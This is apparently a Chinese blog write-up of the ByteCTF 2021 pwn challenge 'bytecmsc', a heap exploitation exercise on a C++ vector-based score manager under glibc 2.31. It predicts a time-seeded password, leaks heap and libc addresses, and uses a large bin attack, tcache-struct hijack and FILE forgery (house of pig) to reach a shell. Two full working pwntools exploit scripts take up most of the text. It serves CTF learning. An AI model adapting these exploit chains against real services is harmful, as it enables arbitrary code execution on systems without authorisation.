2021 bytectf pwn bytecmsc

在这里插入图片描述

保护显然是全绿

我们来分析程序
在这里插入图片描述首先会进入一个验证环节。
里面会将那一串字符串进行一个随机,随机的种子是time。

那么我们显然不能够用常规方法过掉检查,因为毕竟是会跟时间为种子的随机数随机起来。

那么我们要知道,time这里的种子是秒级的,不是毫秒,那么我们可以在写exp的时候也同时启动一个time的种子,然后来将字符串进行同样的随机,以此来达到一个预测随机的目的。

因为time种子是秒级的,基本上都可以过。

v0 = libcc.time(0)
libcc.srand(v0)
s = "n0_One_kn0w5_th15_passwd"
s1 = ""

for i in range(20):
    v1 = i | ord(s[i]) ^ 0xF
    s1 += chr(libcc.rand() & v1)

sa("Password for admin:", s1)

下面是一个堆。
在这里插入图片描述

我们逐个分析。
add函数
在这里插入图片描述
是一个while循环,输入1可以继续加。
里面涉及到了两个函数

第一个
在这里插入图片描述
注释说的很清楚。
上一个C++用到的是string类跟shared_ptr共享指针。

这个用的是vector结构体。

第二个函数
在这里插入图片描述在输入name跟scores。

remove
在这里插入图片描述
可以通过index跟name进行寻找。

以name函数为例
在这里插入图片描述

edit
在这里插入图片描述

还有一个upload跟一个download

upload
在这里插入图片描述

download
在这里插入图片描述

这是upload的效果
在这里插入图片描述
在这里插入图片描述
他直接把chunk复制了一份。然后修改了207290的地方指针。
经过我们的调试,upload的作用就是把207290这个地方管理的vector加上现在程序管理的vector。

相反的,download的作用就是把207290管理的vector加到程序管理的vector中。

解题方法

解法一

其实这个题目的解题难就难在首先是chunk大小不受控制
然后是申请chunk只能从小到大,是没有回头路的。
我们申请,释放chunk规则都比较的严格。
################################################
在这里插入图片描述
先插了一条,然后upload一下,就会又多一个。

add("aaaaaaaa", "100", "2")
upload()

##############################################################
在这里插入图片描述

然后直接溢出开始堆风水。

payload = "a" * 0x10+"b" * 0x8 + p64(0x501) + "a" * 0x18 + p64(0xf121)
payload += p64(0x21) * 0x40 + p64(0x1f0) *0x10
payload += p64(0x21) * 0x80
edit2(0,payload,-1)

要注意此时topchunk在0x500的那个chunk中了,被包住了。

##################################################################
在这里插入图片描述
然后一次upload,一次download。

upload首先会申请一个chunk,会从topchunk那里申请,但是没用,已经被我们包住了,看不出来。
然后会释放之前的那个chunk,但是那里的chunk现在是0x500那个chunk,所以我们看到左图那里就被释放了。
在这里插入图片描述可以看到这里还是0x20.

然后download,会把这0x20加到程序vector处,就是0x30,然后释放本来的chunk,就是那个0x20的chunk,再申请一个0x30,最后就是0x40的chunk,就会如右图所示。

且要说的是注意现在207290的vector的chunk在ea0到ed0.

upload()
download()

##############################################################

然后我们用溢出改一下,将堆里面布置好。
在这里插入图片描述
目的是什么呢?我们上面说,207290的vector还在ea0那个地方,我们这样伪造chunk之后,一会upload,就会将chunk释放到tcache中,那里本来就有一个0x20的chunk,然后就会给我们留一个堆地址在那里,就能得到heap地址。

在这里插入图片描述然后我们就可以得到heap的地址。

edit2(0,"a"*0x10+p64(0)+p64(0x21)*3,-1)
upload()

sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", "2")
ru("cores\n")
r.recv(2)
heap_addr = u64(p.recv(6).ljust(8,'\x00')) - 0x11eb0
lg("heap_addr",heap_addr)

###########################################################

然后我们又进行了新一轮的堆风水。

在这里插入图片描述
前后对比明显。
在这里插入图片描述
是这个效果。

那让我们现在确定两个vector的位置。
程序里那个vector还是那个0x40
而207290的vector在0x吃那个地方。
在这里插入图片描述两个终端里面的地址不是很一样,因为不是同时开打。偏移一样就可以看了。

payload = "\x00"*0x10+p64(0)+p64(0xc1)+p64(0)+p64(0xf0f1)
payload += p64(0x21)*8+p64(0)+p32(0x1f1)
sla("Enter the new name:\n", payload)
sla("Enter the new score:\n", "-1")

#################################################################################

在这里插入图片描述然后再次调整堆结构

upload()
download()

#############################################################################
在这里插入图片描述再次伪造chunk,目的是通过upload使得unsorted bin的chunk可以直接与程序vector重叠,从而泄露libc

payload = "\x00"*0x8+p64(0xf0f1)
payload += "\x00"*0x40+p64(0)+p64(0x4f1)
edit2(0,payload,0)
upload()

#################################################################################

在这里插入图片描述
libc就出来了。

sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", "6")
ru("cores\n")
r.recv(2)
libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x1bbca0
lg("libc_base",libc_base)

############################################################################
在这里插入图片描述
然后找到他的各种地址。

#######################################################################

在这里插入图片描述这是伪造chunk之后的结构,黄线是unsorted bin 橙线是207290的vector。

payload = p64(0)+p64(0x271)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x3d1)*0x48
payload += p64(0x270)*10
edit2(5,payload,0)
upload()

#############################################################################

再来两次同样的过程,为的就是将207290的那个vector扩大。
unsortedbin的指针伪造要用
在这里插入图片描述那个ca0地址。

最后的效果图
在这里插入图片描述

unsorted bin地方没变,然后207290的那个chunk疯狂向下走。

payload = p64(0)+p64(0x471)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x3d1)*0x48
payload += p64(0x270)*10
edit2(5,payload,0)
upload()

payload = p64(0)+p64(0x471)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x451)*0x48
payload += p64(0x271)*40
edit2(5,payload,0)
upload()
upload()

#############################################################################

接下来我们通过large bin attack攻击_IO_list_all

在这里插入图片描述

payload = p64(0)+p64(0x471)
payload += p64(0)*3 + p64(IO_list_all-0x20)+p64(0)
payload1 = p64(0x450)
payload1 += p64(0x451)*10
edit2(5,payload1,0)
edit2(0,p64(0)+p64(0x451)+p64(0)*2,0)
upload()
edit(5,payload,0)
upload()
upload()
upload()

###############################################################################

然后我们要攻击tls上方-0x70的一个地方,为啥要攻击它我们之后再说,反正攻击它在这个地方写一个chunk之后,整个tcache struct就会被劫持,就成了这个chunk。
但是要注意,gdb是不会显示的,他还是会显示之前的那个tcache。我们一会下面解释。

在这里插入图片描述

payload = p64(0)+p64(0x471)
payload += p64(0)*3 + p64(tls - 0x70 - 0x20)
payload += p64(0x21)*16
payload += p64(0x21) + p64(0x461)
payload += p64(0)*3+p64(tls - 0x70 - 0x20)
edit2(5,payload,0)
upload()
upload()
upload()
upload()
upload()
upload()
upload()
upload()

###########################################################################
伪造file 伪造tcache struct

在这里插入图片描述伪造的file

最后整个chunk的效果图
在这里插入图片描述

payload = p64(libc_base+libc.sym["__free_hook"]-0x10)*12+p64(0)+p64(0)
payload += p64(0)*2+p64(0)+p64(heap_addr+0x29d0)+p64(0) #rdx
payload += p64(heap_addr+0x12100)+p64(heap_addr+22+0x12100)+p64(0)*4 #size
payload += p64(0)+p64(0)+p64(0)+"\x00"*8 #_chain
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
payload += p64(libc_base + libc.sym["__free_hook"])*2
payload += "/bin/sh\x00"
payload += p64(sys_addr)
payload += p64(sys_addr)*10
edit(10,payload,0)
edit(0,p8(1)*0x40+p64(libc_base+libc.sym["__free_hook"]-0x10)*2,1)

#############################################################################
那最后跑起来是一个什么效果呢

我们通过劫持io_file,最后会跑到_IO_str_overflow,然后源码在下面。

_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf = malloc (new_size);
	  if (new_buf == NULL)
	    {
	      /*	  __ferror(fp) = 1; */
	      return EOF;
	    }
	  if (old_buf)
	    {
	      memcpy (new_buf, old_buf, old_blen);
	      free (old_buf);
	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
	      fp->_IO_buf_base = NULL;
	    }
	  memset (new_buf + old_blen, '\0', new_size - old_blen);

	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

	  fp->_IO_write_base = new_buf;
	  fp->_IO_write_end = fp->_IO_buf_end;
	}
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

首先我们会malloc一个0x90的chunk。
在这里插入图片描述
然后因为tcache已经被我们劫持,且伪造好了,所以我们直接会申请到free_hook

然后会来一个memcpy函数。
在这里插入图片描述
源码是这样的

memcpy (new_buf, old_buf, old_blen);

new_buf是我们刚申请到的,现在是free_hook,那old_buf在哪?

char *old_buf = fp->_IO_buf_base;

所以我们就还是伪造IO_FILE的时候好好构造一下就可以了。

最后会跑一个free
在这里插入图片描述

然后我们就可以getshell了。

完整exp

# -*- coding: utf-8 -*-
from pwn import*
from ctypes import *

context.log_level='debug'
context.arch='amd64'
context.os = "linux"
#context.terminal = ["tmux", "splitw", "-h"]

local = 1
if local:
    r = process('./csms')
else:
    r = remote("172.16.9.2",9004)
    

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()


libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
#libc = ELF("./libc-2.31.so")
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def debug():
    gdb.attach(r)
    pause()

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def add(name, score, choice):
    sla("> ", "1")
    sla("Enter the ctfer's name:\n", name)
    sla("Enter the ctfer's scores\n", score)
    sla("Enter 1 to add another, enter the other to return\n", choice)

def add1(name, score, choice):
    sla("Enter the ctfer's name:\n", name)
    sla("Enter the ctfer's scores\n", score)
    sla("Enter 1 to add another, enter the other to return\n", choice)

def remove1(name):
    sla("> ", "2")
    sla("\n1.Remove by name\n2.Remove by index\n", "1")
    sla("Enter the name of the ctfer to be deleted\n", name)

def remove2(index):
    sla("> ", "2")
    sla("\n1.Remove by name\n2.Remove by index\n", "2")
    sla("Index?\n", str(index))

def edit1(nname, name, score):
    sla("> ", "3")
    sla("\n1.Edit by name\n2.Edit by index\n", "1")
    sla("Enter the name of the ctfer to be edit\n", nname)
    sa("Enter the new name:\n", name)
    sla("Enter the new score:\n", str(score))

def edit2(index, name, score):
    sla("> ", "3")
    sla("\n1.Edit by name\n2.Edit by index\n", "2")
    sla("Index?\n", str(index))
    sla("Enter the new name:\n", name)
    sla("Enter the new score:\n", str(score))

def upload():
    sla("> ", "4")

def download():
    sla("> ", "5")

def get_IO_str_jumps():
   IO_file_jumps_offset = libc.sym['_IO_file_jumps']
   IO_str_underflow_offset = libc.sym['_IO_str_underflow']
   for ref_offset in libc.search(p64(IO_str_underflow_offset)):
       possible_IO_str_jumps_offset = ref_offset - 0x20
       if possible_IO_str_jumps_offset > IO_file_jumps_offset:
          print possible_IO_str_jumps_offset
          return possible_IO_str_jumps_offset

v0 = libcc.time(0)
libcc.srand(v0)
s = "n0_One_kn0w5_th15_passwd"
s1 = ""

for i in range(20):
    v1 = i | ord(s[i]) ^ 0xF
    s1 += chr(libcc.rand() & v1)

sa("Password for admin:", s1)

add("aaaaaaaa", "100", "2")
upload()
payload = "a" * 0x10+"b" * 0x8 + p64(0x501) + "a" * 0x18 + p64(0xf121)
payload += p64(0x21) * 0x40 + p64(0x1f0) *0x10
payload += p64(0x21) * 0x80
edit2(0,payload,-1)
upload()
download()

edit2(0,"a"*0x10+p64(0)+p64(0x21)*3,-1)
upload()

sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", "2")
ru("cores\n")
r.recv(2)
heap_addr = u64(r.recv(6).ljust(8,'\x00')) - 0x11eb0
lg("heap_addr",heap_addr)

payload = "\x00"*0x10+p64(0)+p64(0xc1)+p64(0)+p64(0xf0f1)
payload += p64(0x21)*8+p64(0)+p32(0x1f1)
sla("Enter the new name:\n", payload)
sla("Enter the new score:\n", "-1")
upload()
download()


payload = "\x00"*0x8+p64(0xf0f1)
payload += "\x00"*0x40+p64(0)+p64(0x4f1)
edit2(0,payload,0)
upload()

sla("> ", "3")
sla("\n1.Edit by name\n2.Edit by index\n", "2")
sla("Index?\n", "6")
ru("cores\n")
r.recv(2)
libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x1ebbe0
free_hook = libc_base + libc.sym["__free_hook"]
sys_addr = libc_base + libc.sym["system"]
tls = libc_base - 0x183f40
mp = libc_base + 0x1eb280
_IO_list_all_addr = libc_base + libc.symbols['_IO_list_all']
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
bin_sh = libc_base + libc.search('/bin/sh').next()
lg("libc_base",libc_base)
lg("tls",tls)

sla("name:\n",p64(libc_base+0x1ebbe0)*2)
sla("Enter the new score:\n", "0")
#这里随便写就行,因为后面还会再次覆盖

payload = p64(0)+p64(0x271)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x3d1)*0x48
payload += p64(0x270)*10
edit2(5,payload,0)
upload()

payload = p64(0)+p64(0x471)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x3d1)*0x48
payload += p64(0x270)*10
edit2(5,payload,0)
upload()

payload = p64(0)+p64(0x471)
payload += p64(libc_base + 0x1ebbe0)*2
payload += p64(0x451)*0x48
payload += p64(0x271)*40
edit2(5,payload,0)
upload()
upload()

payload = p64(0)+p64(0x471)
payload += p64(0)*3 + p64(_IO_list_all_addr-0x20)+p64(0)
payload1 = p64(0x450)
payload1 += p64(0x451)*10
edit2(5,payload1,0)
edit2(0,p64(0)+p64(0x451)+p64(0)*2,0)
upload()
edit2(5,payload,0)
upload()
upload()
upload()

payload = p64(0)+p64(0x471)
payload += p64(0)*3 + p64(tls - 0x70 - 0x20)
payload += p64(0x21)*16
payload += p64(0x21) + p64(0x461)
payload += p64(0)*3+p64(tls - 0x70 - 0x20)
edit2(5,payload,0)
upload()
upload()
upload()
upload()
upload()
upload()
upload()
upload()

payload = p64(libc_base+libc.sym["__free_hook"]-0x10)*12+p64(0)+p64(0)
payload += p64(0)*2+p64(0)+p64(heap_addr+0x29d0)+p64(0) #rdx
payload += p64(heap_addr+0x12100)+p64(heap_addr+22+0x12100)+p64(0)*4 #size
payload += p64(0)+p64(0)+p64(0)+"\x00"*8 #_chain
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
payload += p64(libc_base + libc.sym["__free_hook"])*2
payload += "/bin/sh\x00"
payload += p64(sys_addr)
payload += p64(sys_addr)*10
edit2(10,payload,0)
edit2(0, p16(1) * 64 ,65537)

gdb.attach(r,"b _IO_str_overflow")

sla("> ", "6")

r.interactive()
而且不知道大家有没有发现,我们这个其实最后走的是一个house of pig的一个过程!

那还要说的是啥的

坑点1

首先我们在想办法攻击tcache struct的时候,我们通过large bin attack,攻击哪里比较好呢?
刚开始攻击tls结构体,但是记错了,tls结构体并没有啥用。
后来攻击mp结构体

在这里插入图片描述这个mp结构体很有意思的是你看他里面有个sbrk_base,看着就像攻击了能劫持tcache struct,但是攻击完之后,很有意思,gdb已经改过来了。

在这里插入图片描述
但是申请程序的时候还是原来的tcache struct。

然后仔细研究为啥。
在这里插入图片描述
发现申请的时候丢下去的tcache struct的地址在tls - 0x70的地方,我们应该攻击那里。

坑点2

然后其实我写完之后发现我们既然能large bin attack任意写个堆地址了,我们完全可以按着house of husk的样子来,直接溢出tcache struct,也可以达到任意申请chunk的一个目的

坑点3

第三个我们要说的是IO_FILE的攻击
我们最后利用的还是攻击IO_FILE
但是很早之前我们就学过2.24之前以及之后的攻击IO_FILE的手段,好像记着也没这个这么复杂。
我把之前的2.24之后劫持vtable的思路列了出来。

1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base

2、构造vtable = _IO_str_jumps - 0x8,使_IO_str_finish函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x10,而_IO_OVERFLOW在原vtable中的偏移为0x18)
3、构造fp -> _IO_buf_base作为参数
4、构造fp->flags & _IO_USER_BUF == 0
5、构造fp->_s._free_buffer为system或one_gadget (_free_buffer = fp + 0xe8)
6、调用_IO_flush_all_lokcp函数,触发(fp->_s._free_buffer) (fp->_IO_buf_base)
abort(如触发malloc报错时)
exit
从main函数返回

1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base

2、构造vtable = _IO_str_jumps ,使_IO_str_overflow函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x18,而_IO_OVERFLOW在原vtable中的偏移为0x18)

3、构造fp->flags & _IO_USER_BUF ==0
&& fp->flags & _IO_NO_WRITES == 0
4、构造new_size = (fp->_IO_buf_end - fp -> _IO_buf_base) * 2 + 100 = binsh_addr
5、构造 fp->_s._allocate_buffer = &system ( fp->_s._allocate_buffer = fp + 0xe0)
abort(如触发malloc报错时)
exit
从main函数返回

那为啥不用这个直接用这个思路来呢?
我们发现他最后的落脚点都是_s.free_buffre s.allocate_buffer
本来这两个参数地址就在IO_FILE的后面,我们可以直接控制,但是在2.28之后,他把我们的这个思路堵死了。

在这里插入图片描述

你看他直接用函数,那些函数不受我们控制了,所以没办法只能走house of pig的一个利用思路。

解法二

解法二是别的师傅告诉我的,比起上面的就友好了很多很多。

在这里插入图片描述
首先还是初始化一下。

add("a", "0", "2")
upload()

#####################################################################################################

然后还是伪造一下chunk
在这里插入图片描述
upload一下直接释放
在这里插入图片描述
然后remove一下把程序vector的那个第二个指针拉上去。

download一下把他释放掉再申请一下
在这里插入图片描述
这种做法非常的巧妙,利用chunk的堆叠,通过一次释放,把main_arena的地址直接写在了我们的207290的那个vector中,从而导致我们可以直接泄露地址。

edit2(0, 'a' * 0x18 + p64(0x421) + 'a' * 0x18 + p64(0xf121) + "a" * 0x3F8 + p64(0x11) + "a" * 8 + p64(0x11), 0)
upload()
remove2(0)
download()
debug()

sla("> ", "3")
sla("2.Edit by index\n", str(2))
sla("Index?\n", str(1))
ru("Scores\n1\t")
libc_base = u64(r.recv(6) + "\x00" * 2) - 0x1ebb80 - 0x60
free_hook = libc_base + libc.sym['__free_hook']
lg("libc_base", libc_base)

###########################################################################################################

在这里插入图片描述然后我们只要继续add加起来,然后分配到free_hook,改成system就可以了。

exp

# -*- coding: utf-8 -*-
from pwn import*
from ctypes import *

context.log_level='debug'
context.arch='amd64'
context.os = "linux"
#context.terminal = ["tmux", "splitw", "-h"]

local = 1
if local:
    r = process('./csms')
else:
    r = remote("172.16.9.2",9004)
    

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()


libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
#libc = ELF("./libc-2.31.so")
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def debug():
    gdb.attach(r)
    pause()

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def add(name, score, choice):
    sla("> ", "1")
    sla("Enter the ctfer's name:\n", name)
    sla("Enter the ctfer's scores\n", score)
    sla("Enter 1 to add another, enter the other to return\n", choice)

def add1(name, score, choice):
    sla("Enter the ctfer's name:\n", name)
    sla("Enter the ctfer's scores\n", score)
    sla("Enter 1 to add another, enter the other to return\n", choice)

def remove1(name):
    sla("> ", "2")
    sla("\n1.Remove by name\n2.Remove by index\n", "1")
    sla("Enter the name of the ctfer to be deleted\n", name)

def remove2(index):
    sla("> ", "2")
    sla("\n1.Remove by name\n2.Remove by index\n", "2")
    sla("Index?\n", str(index))

def edit1(nname, name, score):
    sla("> ", "3")
    sla("\n1.Edit by name\n2.Edit by index\n", "1")
    sla("Enter the name of the ctfer to be edit\n", nname)
    sa("Enter the new name:\n", name)
    sla("Enter the new score:\n", str(score))

def edit2(index, name, score):
    sla("> ", "3")
    sla("\n1.Edit by name\n2.Edit by index\n", "2")
    sla("Index?\n", str(index))
    sla("Enter the new name:\n", name)
    sla("Enter the new score:\n", str(score))

def upload():
    sla("> ", "4")

def download():
    sla("> ", "5")


v0 = libcc.time(0)
libcc.srand(v0)
s = "n0_One_kn0w5_th15_passwd"
s1 = ""

for i in range(20):
    v1 = i | ord(s[i]) ^ 0xF
    s1 += chr(libcc.rand() & v1)

sa("Password for admin:", s1)


add("a", "0", "2")
upload()
edit2(0, 'a' * 0x18 + p64(0x421) + 'a' * 0x18 + p64(0xf121) + "a" * 0x3F8 + p64(0x11) + "a" * 8 + p64(0x11), 0)
upload()
remove2(0)
download()

sla("> ", "3")
sla("2.Edit by index\n", str(2))
sla("Index?\n", str(1))
ru("Scores\n1\t")
libc_base = u64(r.recv(6) + "\x00" * 2) - 0x1ebb80 - 0x60
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
lg("libc_base", libc_base)

sla("name:",p64(0) + p64(0x111))
sla("score:", str(0))

gadget = p64(free_hook - 0x10) + p64(0x31)

upload()
edit2(0, gadget * 2 + p64(free_hook - 0x10) + p64(0x111), 0)

upload()
edit2(0, gadget * 2 + p64(free_hook - 0x10) + p64(0x111) + p64(free_hook - 0x10), 0)

upload()
payload = "/bin/sh\x00" * 2 + p64(system_addr) * 2 + p64(free_hook - 0x10) + p64(0x111) + p64(free_hook - 0x10)
payload += gadget * 4 + p64(0x31) + gadget
edit2(0, payload, 0)

upload()
      
for i in range(6):
    add("a", "0", "2")

debug()
                                                                                      
sla("> ", "1")
                                                                                                     
r.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值